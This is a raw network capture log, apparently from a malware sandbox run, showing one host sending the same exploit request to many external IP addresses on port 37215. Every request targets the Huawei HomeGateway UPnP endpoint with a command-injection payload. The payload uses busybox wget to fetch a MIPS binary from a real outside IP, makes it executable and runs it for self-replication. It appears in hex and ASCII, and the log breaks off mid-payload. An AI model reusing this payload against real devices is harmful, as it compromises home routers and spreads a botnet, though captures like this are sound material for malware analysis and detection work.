Jul 20, 2024 23:01:02.409018993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	60986	43.186.3.173	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.409018993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	38188	197.249.151.109	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.409018993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	43282	157.135.213.6	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.409131050 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	37444	197.108.206.182	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.409131050 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	39320	4.79.178.142	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410155058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	38906	60.250.175.203	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410155058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	40600	197.59.92.194	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410515070 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	48420	41.80.60.235	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410515070 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	57882	41.40.48.20	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410515070 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	46694	138.242.39.199	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410515070 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 